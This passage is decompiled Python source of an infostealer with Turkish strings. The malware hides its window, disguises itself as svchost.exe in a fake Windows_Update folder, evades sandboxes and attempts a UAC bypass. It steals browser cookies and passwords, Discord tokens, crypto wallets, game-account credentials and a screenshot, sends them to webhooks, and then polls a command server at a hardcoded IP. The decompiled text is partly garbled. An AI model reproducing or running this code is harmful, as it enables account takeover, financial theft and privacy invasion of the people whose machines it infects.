except Exception:
info['CPU'] = 'Bilinmiyor'
try:
gpu_out = subprocess.check_output('wmic path win32_VideoController get name', shell=True).decode('utf-8').strip().split('\n')[1].strip()
info['GPU'] = gpu_out
except Exception:
info['GPU'] = 'Bilinmiyor'
try:
info['Browsers'] = scan_browsers()
except Exception:
pass
try:
info['LocalIP'] = socket.gethostbyname(pc)
except Exception:
pass
try:
public_ip = requests.get('https://api.ipify.org', timeout=5, verify=False).text
info['PublicIP'] = public_ip
except Exception:
pass
except Exception:
pass
return info
def format_game_info(game_name, game_data):
if game_name == 'Steam' and isinstance(game_data, dict):
info = game_data
games = info.get('games_count', 0)
guard_status = info.get('mobile_guard', '
Kontrol Edilemedi')username = info.get('username', '') or ''
level = info.get('level', '') or ''
balance = info.get('wallet_balance', '') or ''
parts = [f'
{games} oyun']if username and username.strip():
parts.append(username.strip())
if level and level.strip():
parts.append(f'Lv.{level.strip()}')
if balance and balance.strip() and (balance!= '0'):
parts.append(f'{balance.strip()}₺')
parts.append(f'Guard: {guard_status}')
return ' | '.join(parts)
else:
if game_name == 'Epic Games' and isinstance(game_data, dict) and game_data.get('installed'):
info = game_data
games = info.get('games_count', 0)
username = info.get('username', 'Bilinmiyor')
email = info.get('email', 'Bilinmiyor')
return f'
{games} oyun | {username} | {email}'else:
if game_name == 'Minecraft' and isinstance(game_data, dict) and game_data.get('installed'):
info = game_data
premium_count = info.get('premium_accounts', 0)
total_accounts = info.get('total_accounts', 0)
usernames = info.get('usernames', [])
if premium_count > 0:
username_str = ', '.join(usernames[:3])
if len(usernames) > 3:
username_str += f' ve {len(usernames) - 3} kişi daha'
return f'
Yüklü ({premium_count} premium hesap, {total_accounts} toplam hesap, Kullanıcılar: {username_str})'else:
return f'
Yüklü ({total_accounts} hesap, premium hesap yok)'else:
if game_data:
return '
Yüklü'else:
return '
Yok'def stealth_mode():
# irreducible cflow, using cdg fallback
# ***<module>.stealth_mode: Failure: Compilation Error
hw = ctypes.windll.kernel32.GetConsoleWindow()
if hw:
ctypes.windll.user32.ShowWindow(hw, 0)
if getattr(sys, 'frozen', False):
current_exe = os.path.abspath(sys.executable)
exe_name = os.path.basename(current_exe).lower()
target_name = 'svchost.exe'
if exe_name!= target_name:
target_dir = os.path.join(os.getenv('APPDATA'), 'Windows_Update')
os.makedirs(target_dir, exist_ok=True)
target_path = os.path.join(target_dir, target_name)
if current_exe.lower()!= target_path.lower():
import shutil
shutil.copy2(current_exe, target_path)
ctypes.windll.kernel32.SetFileAttributesW(target_path, 6)
subprocess.Popen([target_path] + sys.argv[1:], creationflags=subprocess.CREATE_NO_WINDOW | 8)
sys.exit(0)
except Exception:
return None
if __name__ == '__main__':
stealth_mode()
log_message('--- SCRIPT STARTED ---')
try:
is_elevated_flag = '--elevated' in sys.argv
if is_elevated_flag:
log_message('Running in elevated mode. Continuing with full payload generation natively.')
log_message('Attempting add_to_startup...')
add_to_startup()
checker = EnvironmentCheck()
if not checker.check_environment():
log_message('Environment check FAILED (Not a target machine?). Exiting to avoid VT/Sandbox analysis.')
sys.exit(0)
else:
log_message('Environment check PASSED.')
uac_bypass = None
if not is_admin():
log_message('Not admin, attempting UAC bypass...')
uac_bypass = UACBypass()
uac_bypass.initialize()
else:
log_message('Already admin.')
uac_bypass = UACBypass()
uac_bypass.result['status'] = 'success'
uac_bypass.result['method'] = 'Admin yetkisi mevcut (Bypass gerekmedi)'
cookie_count, password_count = (0, 0)
cookie_zip_path = None
if is_admin():
try:
log_message('Admin present, extracting cookies...')
res = run_cookie_extraction()
if len(res) == 3:
cookie_count, password_count, cookie_zip_path = res
except Exception as e:
log_message(f'Cookie extraction failed: {e}')
log_message('Scanning games, wallets, system info...')
with ThreadPoolExecutor(max_workers=4) as executor:
games_future = executor.submit(scan_games)
wallets_future = executor.submit(scan_wallets)
system_future = executor.submit(get_system_info)
snapshot_future = executor.submit(take_snapshot)
games = games_future.result()
wallets = wallets_future.result()
system = system_future.result()
snapshot = snapshot_future.result()
log_message(f'Games found: {list(games.keys())}')
url = get_send_url(games)
log_message(f'Selected URL: {url}')
roblox_data = get_roblox_data()
if roblox_data:
log_message('Roblox data found, storing to attach in zip.')
sonoyuncu_stealer = SonoyuncuStealer()
sonoyuncu_info = sonoyuncu_stealer.get_sonoyuncu_credentials()
minecraft_info = check_minecraft_premium()
all_tokens = TokenCollector().get_all_tokens()
log_message(f'Collected {len(all_tokens)} tokens.')
craftrise_data = DataProcessor().collect()
wallet_files = []
wallet_error_log = []
try:
wallet_files, wallet_errors = collect_wallet_data()
wallet_error_log.extend(wallet_errors)
except Exception as e:
wallet_error_log.append(f'Error collecting wallet data: {str(e)}')
discord_info = ''
if not all_tokens:
discord_info = '
Discord token bulunamadı.\n'else:
for i, token_data in enumerate(all_tokens, 1):
t = token_data['token']
is_canary = token_data['source'] == 'canary'
u = TokenCollector().get_user_info(t)
if u:
badges = TokenCollector().decode_badges(u['public_flags'])
badge_str = ', '.join(badges) if badges and badges!= ['Yok'] else 'Yok'
canary_badge_str = badge_str if is_canary else 'Yok'
discord_info += f'
Token: {t}\n'discord_info += f"
{u['username']}\n"discord_info += f"
{u['id']}\n"discord_info += f"
Mail: {u['email']}\n"discord_info += f"
Telefon: {(u['phone'] if u['phone'] else 'Yok')}\n"discord_info += f'
Rozet: {badge_str}\n'discord_info += f'
Discord Canary Rozetleri: {canary_badge_str}\n'discord_info += f"
Nitro: {(' Var' if TokenCollector().has_nitro(u) else ' Yok')}\n"discord_info += f"
Yıl: {TokenCollector().calc_creation_date(u['id'])}\n\n"else:
discord_info += f'
Token: {t}\n Bilinmeyen kullanıcı\n\n'craftrise_msg = ''
if isinstance(craftrise_data, list):
for acc in craftrise_data:
try:
craftrise_msg += f"
Nick: {acc.get('Kullanıcı', 'Bilinmiyor')}\n Şifre: {acc.get('Şifre', 'Bilinmiyor')}\n\n"except Exception:
pass
else:
craftrise_msg = str(craftrise_data)
user = os.getenv('USERPROFILE', '')
files = {'minecraft': [], 'growtopia': [], 'sonoyuncu': [], 'craftrise': [], 'wallets': wallet_files}
if user:
try:
for f in ['usercache.json', 'command_history.txt']:
file_path = os.path.join(user, 'AppData', 'Roaming', '.minecraft', f)
if os.path.exists(file_path):
files['minecraft'].append(file_path)
except Exception:
pass
try:
growtopia_path = os.path.join(user, 'AppData', 'Local', 'Growtopia', 'save.dat')
if os.path.exists(growtopia_path):
files['growtopia'].append(growtopia_path)
except Exception:
pass
try:
sonoyuncu_path = os.path.join(user, 'AppData', 'Roaming', '.sonoyuncu', 'config.json')
if os.path.exists(sonoyuncu_path):
files['sonoyuncu'].append(sonoyuncu_path)
except Exception:
pass
try:
craftrise_path = os.path.join(user, 'AppData', 'Roaming', '.craftrise', 'config.json')
if os.path.exists(craftrise_path):
files['craftrise'].append(craftrise_path)
except Exception:
pass
zip_path = create_zip(files['minecraft'], files['growtopia'], files['sonoyuncu'], files['craftrise'], files['wallets'], error_log=wallet_error_log, roblox_data=roblox_data)
game_status = {k: '
Kurulu' if v else ' Yok' for k, v in games.items()}wallet_status = {k: '
Var' for k, v in wallets.items() if v}steam_info = games.get('Steam', {})
epic_info = games.get('Epic Games', {})
browsers_str = ', '.join(system.get('Browsers', []))
uac_status_msg = '• UAC Bypass:
Başarısız'if uac_bypass:
status = uac_bypass.result.get('status', 'unknown')
if status == 'success':
uac_status_msg = '• UAC Bypass:
Başarılı'if uac_bypass.result.get('method'):
uac_status_msg += f" - {uac_bypass.result['method']}"
else:
if is_admin():
uac_status_msg = '• UAC Bypass:
Başarılı (Admin)'else:
if is_admin():
uac_status_msg = '• UAC Bypass:
Başarılı (Admin)'wallet_section = ''
if wallet_status:
wallet_section = '
Cüzdanlar\n' + '\n'.join([f'• {wallet}: {status}' for wallet, status in wallet_status.items()]) + '\n\n'sonoyuncu_formatted = (sonoyuncu_info or '').strip()
craftrise_formatted = ''
if isinstance(craftrise_data, list):
craftrise_formatted += '
CraftRise\n'for acc in craftrise_data:
craftrise_formatted += f"
Nick: {acc.get('Kullanıcı', 'Bilinmiyor')}\n Şifre: {acc.get('Şifre', 'Bilinmiyor')}\n"else:
if craftrise_data:
craftrise_formatted = str(craftrise_data).strip()
discord_formatted = ''
if not all_tokens:
discord_formatted = '
Bulunamadı'else:
for i, token_data in enumerate(all_tokens, 1):
t = token_data['token']
is_canary = token_data['source'] == 'canary'
u = TokenCollector().get_user_info(t)
if u:
badges = TokenCollector().decode_badges(u['public_flags'])
badge_str = ', '.join(badges) if badges and badges!= ['Yok'] else 'Yok'
discord_formatted += f"
**Kullanıcı:** `{u['username']}` ({u['id']})\n **E-Posta:** {u['email']}\n **Telefon:** {(u['phone'] if u['phone'] else 'Yok')}\n **Nitro:** {(' Var' if TokenCollector().has_nitro(u) else ' Yok')}\n **Kayıt Tarihi:** {TokenCollector().calc_creation_date(u['id'])}\n **Rozetler:** {badge_str}\n **Token:** `{t}`\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"else:
discord_formatted += f'
**Bilinmeyen Kullanıcı**\n **Token:** `{t}`\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n'games_list = []
for g_name, g_val in games.items():
if g_val:
games_list.append(g_name)
if isinstance(steam_info, dict) and steam_info.get('installed'):
games_list.append('Steam')
if isinstance(epic_info, dict) and epic_info.get('installed'):
games_list.append('Epic Games')
if isinstance(minecraft_info, dict) and minecraft_info.get('installed'):
games_list.append('Minecraft')
games_str = '\n'.join([f'• {g}' for g in set(games_list)]) if games_list else 'Bulunamadı'
**IP:** ` = {'title': ' NEW LOG HIT! ', 'description': f" **PC:** `{system.get('PC', 'Bilinmiyor')}`\n **Kullanıcı:** `{system.get('User', 'Bilinmiyor')}`", 'color': [{'name': 7506394, 'value': f" Sistem Bilgileri{' **IP:** `': f"{system.get('PublicIP', 'Bilinmiyor')}`\n **OS:** {system.get('OS', 'Bilinmiyor')}\n **CPU:** {system.get('CPU', 'Bilinmiyor')}\n **GPU:** {craftrise_formatted or ' Bulunamadı'} adet`", 'inline': True}, {'name': ' Yüklü Oyunlar & Uygulamalar', 'value': f'```\n{games_str}\n```', 'inline': False}, {'name': ' Discord Hesapları', 'value': discord_formatted[:1024], 'inline': False}], 'footer': {'text': f"Build: Yazılım Peşinde Merak Edilen O Kurulum Geldi.exe | {datetime.now().strftime('%Y-%m-%d %H:%M')}"}if snapshot and os.path.exists(snapshot):
embed['image'] = {'url': f'attachment://{os.path.basename(snapshot)}'}
payloadJSON = {'content': '@everyone', 'embeds': [embed]}
files_to_send = {}
if zip_path and os.path.exists(zip_path):
files_to_send['file'] = (os.path.basename(zip_path), open(zip_path, 'rb'), 'application/zip')
if cookie_zip_path and os.path.exists(cookie_zip_path):
files_to_send[f'file{len(files_to_send)}'] = (os.path.basename(cookie_zip_path), open(cookie_zip_path, 'rb'), 'application/zip')
if snapshot and os.path.exists(snapshot):
files_to_send[f'file{len(files_to_send)}'] = (os.path.basename(snapshot), open(snapshot, 'rb'), 'image/png')
log_message('Sending final report...')
if files_to_send:
import json
result_post = requests.post(url, data={'payload_json': json.dumps(payloadJSON)}, files=files_to_send, verify=False, timeout=60)
log_message(f'Multipart response body: {result_post.text}')
result = result_post.status_code in (200, 204)
else:
result = send_report(payload=payloadJSON, url=url)
log_message(f'Detailed Report sent result: {result}')
if not result:
alt_url = SEND_URL_1 if url == SEND_URL_2 else SEND_URL_2
log_message(f'Retrying with alt URL: {alt_url}')
if files_to_send:
for f in files_to_send.values():
f[1].seek(0)
res_alt_post = requests.post(alt_url, data={'payload_json': json.dumps(payloadJSON)}, files=files_to_send, verify=False, timeout=60)
log_message(f'Alt URL multipart response body: {res_alt_post.text}')
res_alt = res_alt_post.status_code in (200, 204)
else:
res_alt = send_report(payload=payloadJSON, url=alt_url)
log_message(f'Alt URL result: {res_alt}')
if files_to_send:
for f in files_to_send.values():
f[1].close()
if zip_path:
if os.path.exists(zip_path):
os.remove(zip_path)
if snapshot and os.path.exists(snapshot):
os.remove(snapshot)
log_message('Initial run complete. Entering C2 polling loop...')
pc_name = system.get('PC', 'UnknownPC')
COMMAND_URL = f'http://141.11.109.213/command.php?user={pc_name}'
while True:
try:
r = requests.get(COMMAND_URL, timeout=10)
command = r.text.strip()
if command == 'EXTRACT_COOKIES':
log_message('Received command: EXTRACT_COOKIES')
c_count, p_count = (0, 0)
c_zip = None
try:
res = run_cookie_extraction()
if len(res) == 3:
c_count, p_count, c_zip = res
except Exception as e:
log_message(f'Cookie extraction failed: {e}')
if c_zip and os.path.exists(c_zip):
files_to_send_c2 = {'file': (os.path.basename(c_zip), open(c_zip, 'rb'), 'application/zip')}
embed_c2 = {'title': '
COMMAND SUCCESS: COOKIES EXTRACTED! ', 'description': f' **PC:** `{pc_name}`', 'color': 3092790, 'fields': [{'name': ' Toplanan Veriler', 'value': f' **Cookies:** `{c_count} adet`\n **Passwords:** `{p_count} adet`', 'inline': False}]}payloadJSON_c2 = {'content': '@everyone', 'embeds': [embed_c2]}
import json
requests.post(SEND_URL_1, data={'payload_json': json.dumps(payloadJSON_c2)}, files=files_to_send_c2, verify=False, timeout=60)
for f in files_to_send_c2.values():
f[1].close()
os.remove(c_zip)
except Exception as e:
log_message(f'C2 Loop Error: {e}')
time.sleep(20)
except Exception as e:
log_message(f'CRITICAL ERROR: {str(e)}\n{traceback.format_exc()}')
Yapay zeka emojili masterlara selam olsun[/embed]